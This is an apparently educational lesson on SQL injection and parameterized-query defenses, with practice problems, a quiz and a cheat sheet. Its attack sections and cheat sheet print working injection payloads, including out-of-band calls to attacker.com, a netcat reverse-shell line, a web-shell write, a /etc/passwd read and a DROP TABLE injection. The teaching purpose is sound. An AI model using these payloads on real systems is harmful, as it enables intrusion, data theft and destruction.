How SQL Injection Works
SQL Injection: When User Input Becomes Database Commands
SQL injection occurs when an application constructs a SQL query by concatenating user-supplied input directly into the query string, and the database executes that input as part of the SQL command. The database cannot distinguish between the intended query structure and the injected payload because both arrive as a single string.
The Vulnerable Pattern
Consider a login form that checks credentials:
# VULNERABLE — string concatenation
username = request.POST['username']
password = request.POST['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
result = db.execute(query)
If an attacker submits admin' -- as the username, the query becomes:
SELECT * FROM users WHERE username='admin' --' AND password=''
The -- comments out the rest of the query, bypassing the password check entirely. The attacker is now authenticated as admin.
Why This Happens
The root cause is a confusion of code and data. The SQL query structure (code) and the user input (data) are combined into a single string before the database parses it. The database parser sees one string and has no way to know which parts were intended as structure and which were intended as data.
Attack Progression
SQL injection attacks escalate in severity:
1. Authentication Bypass
The simplest attack. Input like ' OR '1'='1 makes the WHERE clause always true:
SELECT * FROM users WHERE username='' OR '1'='1' AND password=''
2. Data Exfiltration (Union-Based)
The UNION operator combines results from two SELECT statements:
' UNION SELECT username, password, null FROM users--
This appends the entire users table to the original query's results.
3. Blind Injection (Boolean-Based)
When the application does not return query results, attackers infer data one bit at a time:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
If the page loads normally, the first character is 'a'. If it errors or loads differently, it is not.
4. Time-Based Blind Injection
When even boolean responses are invisible, attackers use database delay functions:
'; IF (SELECT COUNT(*) FROM users) > 100 WAITFOR DELAY '0:0:5'--
A 5-second response delay confirms the condition is true.
5. Out-of-Band Exfiltration
Data is exfiltrated via DNS or HTTP requests to an attacker-controlled server:
'; EXEC xp_dirtree '\\attacker.com\share'--
Database-Specific Payloads
Each database has unique syntax for extraction:
- MySQL:
SELECT @@version,LOAD_FILE('/etc/passwd'),INTO OUTFILE '/var/www/shell.php' - PostgreSQL:
COPY (SELECT '') TO PROGRAM 'nc attacker.com 4444 -e /bin/sh' - MSSQL:
xp_cmdshell('whoami'),OPENROWSETfor network access - Oracle:
UTL_HTTP.request('http://attacker.com/'|| (SELECT password FROM users WHERE rownum=1))
Defending with Parameterized Queries
Parameterized Queries: Separating Code from Data
Parameterized queries (also called prepared statements) are the definitive defense against SQL injection. They work by sending the query structure and the data to the database in separate steps. The database compiles the query structure first, then binds the data values to placeholders. Because the structure is already compiled, injected data can never change the query's meaning.
How Parameterized Queries Work
# SECURE — parameterized query
username = request.POST['username']
password = request.POST['password']
query = "SELECT * FROM users WHERE username = %s AND password = %s"
result = db.execute(query, (username, password))
The database receives the query with %s placeholders, compiles it into an execution plan, and then binds the actual values. Even if username contains admin' --, it is treated as a literal string value, not as SQL syntax.
Language-Specific Implementations
Python (psycopg2 for PostgreSQL):
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Node.js (pg library):
const result = await pool.query('SELECT * FROM users WHERE id = $1', [userId]);
Java (JDBC PreparedStatement):
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
PHP (PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $userId]);
Why Escaping Is Not Enough
Escaping (e.g., mysql_real_escape_string) attempts to neutralize special characters by adding backslashes. It fails because:
- Context-dependent escaping: Different contexts (string literal, identifier, LIKE clause) require different escaping rules. Missing one context leaves a vulnerability.
- Encoding attacks: Multi-byte character sets can bypass escaping. A crafted sequence like
0xBF27may be interpreted as a valid multi-byte character plus a quote. - Second-order injection: Escaped data stored in the database may be retrieved later and concatenated into a new query without re-escaping.
Parameterized queries eliminate these risks by design — there is no escaping step to get wrong.
Defense in Depth
Even with parameterized queries, add these layers:
- Least privilege database accounts: The application's database user should not have
DROP TABLEorxp_cmdshellpermissions. - Input validation: Reject input that does not match expected formats (e.g., an ID field should only contain digits).
- Stored procedures: Can help, but only if they do not dynamically build SQL from parameters.
- WAF (Web Application Firewall): A WAF can block known injection patterns at the network edge, but it is a secondary control, not a primary defense.
Practice: Find the Vulnerability
Review this code and identify the injection point:
@app.route('/search')
def search():
term = request.args.get('q')
sort = request.args.get('sort', 'name')
# Vulnerable: sort is concatenated without parameterization
query = f"SELECT * FROM products WHERE name LIKE '%{term}%' ORDER BY {sort}"
results = db.execute(query)
return render_template('results.html', results=results)
The sort parameter is concatenated directly. An attacker can inject via sort=name; DROP TABLE products--. The term parameter is also vulnerable. Both must be parameterized — but ORDER BY cannot use placeholders in most databases. The fix is to validate sort against an allow-list of column names.
Practice Problems
The following code has a SQL injection vulnerability. Identify it and rewrite the code securely. ```python def get_user(user_id): query = f"SELECT * FROM users WHERE id = {user_id}" return db.execute(query).fetchone() ``` An attacker requests `/get_user?id=1 OR 1=1` and receives all users.
Solution
The `user_id` is directly interpolated into the query string. An attacker can inject arbitrary SQL. Fix with a parameterized query:
```python
def get_user(user_id):
query = "SELECT * FROM users WHERE id = %s"
return db.execute(query, (user_id,)).fetchone()
```
Additionally, validate that `user_id` is an integer before passing it to the query:
```python
def get_user(user_id):
if not user_id.isdigit():
raise ValueError('Invalid user ID')
query = "SELECT * FROM users WHERE id = %s"
return db.execute(query, (int(user_id),)).fetchone()
``` A search endpoint returns 'No results found' when a query returns zero rows and 'Results found' otherwise. The query is: ```sql SELECT * FROM products WHERE name LIKE '%{user_input}%' ``` Describe how an attacker could determine the first character of the admin user's password hash using only these two responses.
Solution
The attacker uses boolean-based blind SQL injection. They submit:
```
%' AND (SELECT SUBSTRING(password_hash, 1, 1) FROM users WHERE username='admin') = 'a'--
```
If the response is 'Results found', the first character is 'a'. If 'No results found', it is not. The attacker iterates through all possible characters (a-z, 0-9, special chars) for position 1, then position 2, and so on until the full hash is extracted. Each character requires up to ~62 requests, so a 32-character hash requires ~2,000 requests. Quiz
1. Why are parameterized queries effective against SQL injection?
2. An attacker submits `admin' --` as the username in a login form. What does this payload achieve?
3. Why is escaping user input (e.g., `mysql_real_escape_string`) considered insufficient as a primary defense against SQL injection?
4. A web application does not display query results or error messages to the user. Which SQL injection technique can an attacker still use to extract data?
5. Which of the following is NOT a valid defense-in-depth measure against SQL injection?
Flashcards
Question
What is the root cause of SQL injection?
Click to reveal answer
Answer
User input is concatenated directly into a SQL query string, causing the database to execute the input as part of the SQL command structure rather than as data.
Question
What does the payload `admin' --` achieve in a login form?
Click to reveal answer
Answer
It comments out the rest of the SQL query (the password check), bypassing authentication. The `--` sequence is a SQL line comment.
Question
Why are parameterized queries superior to escaping?
Click to reveal answer
Answer
Parameterized queries separate code from data at the protocol level — the database compiles the query structure before binding values. Escaping is context-dependent, can be bypassed with multi-byte attacks, and requires developers to remember to apply it correctly in every context.
Question
What is boolean-based blind SQL injection?
Click to reveal answer
Answer
An attack technique where the attacker infers data one bit at a time by observing whether the application responds differently (e.g., 'results found' vs 'no results') based on injected SQL conditions, even when query results are not displayed.
Question
What is second-order SQL injection?
Click to reveal answer
Answer
When user input is safely stored in the database (e.g., escaped on input) but later retrieved and concatenated into a new query without re-escaping, causing injection at the point of use rather than at the point of entry.
Revision Notes
Key Takeaways
- 1. SQL injection occurs when user input is concatenated into a database query string, causing the database to execute input as SQL commands
- 2. Parameterized queries send the query structure and data separately, making injection impossible by design
- 3. Escaping is insufficient as a primary defense — it is context-dependent and bypassable with multi-byte attacks
- 4. Blind injection techniques (boolean-based, time-based) work even when no query results are visible
- 5. Defense in depth: parameterized queries + input validation + least privilege + WAF
Interview Tips
- • Walk through a concrete SQL injection attack step-by-step, from the initial payload to data exfiltration
- • Explain why parameterized queries are superior to escaping — mention the protocol-level separation of code and data
- • Discuss second-order injection to show depth of understanding beyond the basic vulnerability
- • Connect SQL injection to the OWASP Top 10 (A03: Injection) and explain why it remains a top risk despite being well-understood
Cheat Sheet
SQL Injection Cheat Sheet
Phase: Web Vulnerabilities and the OWASP Top 10 | Level: intermediate
Attack Vectors:
- Authentication bypass:
' OR '1'='1oradmin' -- - Union-based exfiltration:
' UNION SELECT username, password FROM users-- - Boolean-based blind:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- - Time-based blind:
'; IF (1=1) WAITFOR DELAY '0:0:5'-- - Out-of-band:
'; EXEC xp_dirtree '\\attacker.com\share'--
Defense:
- Parameterized queries (prepared statements) — the definitive fix
- Input validation (allow-list for fields like ORDER BY that cannot be parameterized)
- Least-privilege database accounts
- WAF as secondary control only
Key points:
- SQL injection occurs when user input is concatenated into a database query string
- Parameterized queries send values separately from SQL structure, neutralizing the attack
- Escaping is insufficient — context-dependent and bypassable
- Injection can yield data exfiltration, authentication bypass, or remote code execution via the database
Tags: injection, web-security
Continue Learning
Before You Start
- No prerequisites listed.